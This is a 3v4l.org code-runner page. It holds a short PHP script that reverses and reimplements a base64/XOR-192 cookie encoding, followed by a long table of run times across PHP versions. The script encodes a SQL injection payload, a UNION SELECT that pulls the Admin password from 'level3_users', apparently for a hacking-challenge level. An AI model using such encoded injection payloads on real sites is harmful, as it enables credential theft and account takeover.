3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,Password,3,4,5,6,7 FROM level3_users WHERE username='Admin'#"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00718.81
8.3.50.0160.00721.27
8.3.40.0060.00919.14
8.3.30.0080.00818.92
8.3.20.0030.00518.89
8.3.10.0080.00021.05
8.3.00.0000.00921.73
8.2.180.0090.00618.43
8.2.170.0070.01422.96
8.2.160.0110.00720.47
8.2.150.0040.00424.18
8.2.140.0030.00624.66
8.2.130.0000.00726.16
8.2.120.0040.00421.06
8.2.110.0090.00020.24
8.2.100.0090.00317.97
8.2.90.0000.00819.07
8.2.80.0030.00617.97
8.2.70.0030.00717.88
8.2.60.0000.00817.93
8.2.50.0080.00018.07
8.2.40.0000.00818.28
8.2.30.0000.00721.30
8.2.20.0000.00817.79
8.2.10.0000.00817.79
8.2.00.0000.00817.99
8.1.280.0120.00625.92
8.1.270.0040.00423.99
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0060.00322.46
8.1.230.0090.00321.16
8.1.220.0040.00418.77
8.1.210.0000.00819.16
8.1.200.0070.00317.48
8.1.190.0000.00817.66
8.1.180.0030.00618.10
8.1.170.0030.00518.84
8.1.160.0000.00818.97
8.1.150.0080.00018.88
8.1.140.0000.00817.64
8.1.130.0030.00317.96
8.1.120.0070.00017.64
8.1.110.0080.00017.54
8.1.100.0040.00417.64
8.1.90.0040.00417.70
8.1.80.0000.00817.55
8.1.70.0070.00017.61
8.1.60.0090.00017.60
8.1.50.0040.00417.68
8.1.40.0040.00417.63
8.1.30.0000.00817.87
8.1.20.0030.00517.80
8.1.10.0000.00817.62
8.1.00.0090.00317.72
8.0.300.0040.00419.89
8.0.290.0080.00017.29
8.0.280.0040.00418.50
8.0.270.0040.00417.32
8.0.260.0070.00017.00
8.0.250.0000.00717.14
8.0.240.0030.00517.13
8.0.230.0040.00417.05
8.0.220.0000.00717.10
8.0.210.0000.00717.05
8.0.200.0030.00317.05
8.0.190.0030.00617.07
8.0.180.0040.00417.00
8.0.170.0030.00517.11
8.0.160.0070.00017.06
8.0.150.0070.00016.94
8.0.140.0000.00816.93
8.0.130.0030.00313.51
8.0.120.0000.00717.06
8.0.110.0000.00817.08
8.0.100.0070.00016.93
8.0.90.0000.00717.07
8.0.80.0060.00916.97
8.0.70.0050.00217.10
8.0.60.0000.00817.20
8.0.50.0060.00317.12
8.0.30.0140.00517.52
8.0.20.0090.00917.40
8.0.10.0070.00017.18
8.0.00.0130.00716.90
7.4.330.0000.00614.99
7.4.320.0060.00016.69
7.4.300.0000.00616.84
7.4.290.0070.00016.74
7.4.280.0030.00516.84
7.4.270.0020.00516.91
7.4.260.0030.00313.46
7.4.250.0040.00416.66
7.4.240.0040.00416.79
7.4.230.0070.00016.60
7.4.220.0060.01316.73
7.4.210.0110.00516.73
7.4.200.0070.00016.68
7.4.190.0030.00616.73
7.4.160.0080.00816.70
7.4.150.0090.00917.40
7.4.140.0120.00617.86
7.4.130.0120.00516.78
7.4.120.0080.01016.77
7.4.110.0000.01616.84
7.4.100.0060.01316.54
7.4.90.0100.01316.77
7.4.80.0100.00719.39
7.4.70.0030.01316.64
7.4.60.0120.00816.91
7.4.50.0040.00416.72
7.4.40.0100.00322.77
7.4.30.0110.00816.59
7.4.00.0080.00915.09
7.3.330.0000.00513.54
7.3.320.0030.00313.62
7.3.310.0000.00716.59
7.3.300.0030.00316.58
7.3.290.0070.00716.57
7.3.280.0090.00916.51
7.3.270.0090.00917.40
7.3.260.0150.00418.24
7.3.250.0040.01316.75
7.3.240.0110.01116.68
7.3.230.0090.00916.48
7.3.210.0110.00716.63
7.3.200.0120.00319.39
7.3.190.0140.01016.48
7.3.180.0100.00716.89
7.3.170.0080.00816.81
7.3.160.0080.00816.62
7.3.120.0090.00815.04
7.3.110.0100.00715.18
7.3.100.0100.00514.91
7.3.90.0050.00614.94
7.3.80.0070.00715.20
7.3.70.0060.00514.92
7.3.60.0100.00515.07
7.3.50.0050.00914.96
7.3.40.0080.00615.14
7.3.30.0100.00215.15
7.3.20.0100.00316.80
7.3.10.0060.00816.86
7.3.00.0060.00616.89
7.2.330.0000.01716.98
7.2.320.0110.01116.93
7.2.310.0090.01516.80
7.2.300.0100.00716.80
7.2.290.0090.00616.91
7.2.250.0030.01415.23
7.2.240.0090.00715.13
7.2.230.0030.01515.31
7.2.220.0050.00915.07
7.2.210.0060.00715.38
7.2.200.0070.00515.18
7.2.190.0050.00715.08
7.2.180.0050.00915.38
7.2.170.0050.00915.19
7.2.160.0040.00815.34
7.2.150.0060.00917.16
7.2.140.0040.01117.10
7.2.130.0070.00917.09
7.2.120.0050.00717.06
7.2.110.0060.00717.15
7.2.100.0070.00817.09
7.2.90.0050.00917.19
7.2.80.0060.00617.17
7.2.70.0060.01017.22
7.2.60.0090.00717.18
7.2.50.0060.00817.14
7.2.40.0100.00417.05
7.2.30.0060.00917.12
7.2.20.0060.00817.18
7.2.10.0080.00516.94
7.2.00.0070.00717.72
7.1.330.0050.00916.03
7.1.320.0030.00815.71
7.1.310.0030.00916.13
7.1.300.0080.00615.95
7.1.290.0010.00916.05
7.1.280.0020.01315.88
7.1.270.0050.01016.01
7.1.260.0070.00515.74
7.1.250.0080.00615.85
7.1.100.0080.00418.53
7.1.70.0050.00217.34
7.1.60.0100.01019.40
7.1.50.0190.01935.13
7.1.00.0000.03722.29
7.0.200.0080.00417.05
7.0.140.0070.07021.95
7.0.70.0070.03721.93
7.0.60.0030.04321.76
7.0.50.0100.07322.11
7.0.40.0100.08020.11
7.0.30.0030.08020.19
7.0.20.0100.05019.96
7.0.10.0000.08020.03
7.0.00.0100.05319.99
5.6.280.0030.07320.87
5.6.220.0030.08720.62
5.6.210.0000.05720.57
5.6.200.0070.08720.96
5.6.190.0070.08321.06
5.6.180.0030.08321.07
5.6.170.0070.05321.14
5.6.160.0030.08021.05
5.6.150.0030.05321.12
5.6.140.0100.08021.05
5.6.130.0030.08020.92
5.6.120.0030.05321.08
5.6.110.0030.04721.00
5.6.100.0070.06721.11
5.6.90.0070.08021.16
5.6.80.0000.07720.43
5.6.70.0130.07020.46
5.6.60.0000.08320.45
5.6.50.0030.05720.35
5.6.40.0000.05320.44
5.6.30.0070.08020.48
5.6.20.0070.08320.42
5.6.10.0100.05020.45
5.6.00.0030.08320.52
5.5.360.0070.07020.35
5.5.350.0030.04020.46
5.5.340.0170.07020.81
5.5.330.0070.07320.84
5.5.320.0030.08020.78
5.5.310.0100.08020.87
5.5.300.0030.08720.76
5.5.290.0170.07720.87
5.5.280.0030.06320.65
5.5.270.0030.04720.82
5.5.260.0100.08320.88
5.5.250.0100.09020.72
5.5.240.0030.08020.20
5.5.230.0030.07720.31
5.5.220.0100.07720.02
5.5.210.0070.05320.29
5.5.200.0070.06719.97
5.5.190.0130.07020.15
5.5.180.0070.08020.28
5.5.160.0030.07320.14
5.5.150.0070.07720.09
5.5.140.0130.06720.09
5.5.130.0070.08020.24
5.5.120.0030.07720.19
5.5.110.0070.07720.25
5.5.100.0000.09020.16
5.5.90.0030.06320.07
5.5.80.0130.07320.17
5.5.70.0030.06020.01
5.5.60.0100.07020.05
5.5.50.0030.07720.01
5.5.40.0100.07720.16
5.5.30.0000.08020.05
5.5.20.0170.07319.96
5.5.10.0000.08720.04
5.5.00.0130.05020.04
5.4.450.0030.07319.29
5.4.440.0030.08319.51
5.4.430.0000.05319.41
5.4.420.0000.04319.55
5.4.410.0070.04719.36
5.4.400.0070.07319.13
5.4.390.0000.08318.88
5.4.380.0000.07019.07
5.4.370.0130.06719.13
5.4.360.0030.06319.13
5.4.350.0100.07019.23
5.4.340.0030.08019.04
5.4.320.0000.07018.88
5.4.310.0070.07018.92
5.4.300.0130.06718.85
5.4.290.0030.07319.21
5.4.280.0000.10319.23
5.4.270.0100.06319.22
5.4.260.0070.08319.22
5.4.250.0030.04718.94
5.4.240.0070.06319.08
5.4.230.0030.07019.02
5.4.220.0070.07319.12
5.4.210.0030.07319.11
5.4.200.0070.06719.21
5.4.190.0030.07319.15
5.4.180.0030.07719.02
5.4.170.0100.07019.13
5.4.160.0030.05319.21
5.4.150.0100.06719.21
5.4.140.0130.06016.46
5.4.130.0000.07016.45
5.4.120.0000.07716.48
5.4.110.0000.07316.45
5.4.100.0100.05316.34
5.4.90.0070.07016.41
5.4.80.0100.06716.43
5.4.70.0000.05016.54
5.4.60.0100.06716.45
5.4.50.0070.07016.29
5.4.40.0000.07316.53
5.4.30.0030.04716.44
5.4.20.0070.04316.24
5.4.10.0070.03016.36
5.4.00.0030.07315.89
5.3.290.0000.08314.68
5.3.280.0070.07014.54
5.3.270.0030.07314.72
5.3.260.0100.07314.63
5.3.250.0100.05714.64
5.3.240.0000.06014.68
5.3.230.0030.07314.67
5.3.220.0000.08014.64
5.3.210.0030.05314.60
5.3.200.0070.06714.52
5.3.190.0070.07314.65
5.3.180.0100.07014.52
5.3.170.0000.08014.56
5.3.160.0070.05314.51
5.3.150.0000.06714.56
5.3.140.0030.04314.60
5.3.130.0030.07714.61
5.3.120.0000.08014.52
5.3.110.0030.04314.58
5.3.100.0070.05714.05
5.3.90.0100.06314.03
5.3.80.0030.04314.11
5.3.70.0030.05014.01
5.3.60.0070.07014.03
5.3.50.0030.05013.96
5.3.40.0000.07714.09
5.3.30.0030.07714.01
5.3.20.0100.06713.62
5.3.10.0030.05713.69
5.3.00.0000.08013.53
5.2.170.0000.06312.32
5.2.160.0000.06312.32
5.2.150.0000.06712.32
5.2.140.0030.06012.32
5.2.130.0070.05012.32
5.2.120.0070.05712.32
5.2.110.0000.03312.32
5.2.100.0070.05012.32
5.2.90.0000.05712.32
5.2.80.0030.06312.32
5.2.70.0070.05312.32
5.2.60.0030.05712.32
5.2.50.0030.06012.32
5.2.40.0000.05712.32
5.2.30.0070.05712.32
5.2.20.0030.04312.32
5.2.10.0000.04712.32
5.2.00.0030.06012.32
5.1.60.0000.06012.32
5.1.50.0030.04712.32
5.1.40.0070.03312.32
5.1.30.0070.03312.32
5.1.20.0030.04012.32
5.1.10.0030.05312.32
5.1.00.0000.05312.32
5.0.50.0070.02712.32
5.0.40.0000.04712.32
5.0.30.0070.06012.32
5.0.20.0070.03312.32
5.0.10.0030.04312.32
5.0.00.0000.06312.32
4.4.90.0030.03312.32
4.4.80.0030.03312.32
4.4.70.0030.03712.32
4.4.60.0030.03312.32
4.4.50.0000.03012.32
4.4.40.0030.05312.32
4.4.30.0000.02312.32
4.4.20.0070.01312.32
4.4.10.0000.02712.32
4.4.00.0030.05712.32
4.3.110.0000.03312.32
4.3.100.0030.03312.32
4.3.90.0030.03312.32
4.3.80.0070.04712.32
4.3.70.0000.03312.32
4.3.60.0000.03312.32
4.3.50.0100.02712.32
4.3.40.0000.05712.32
4.3.30.0030.03312.32
4.3.20.0000.04012.32
4.3.10.0030.03712.32
4.3.00.0030.03312.32

preferences:
56.14 ms | 401 KiB | 5 Q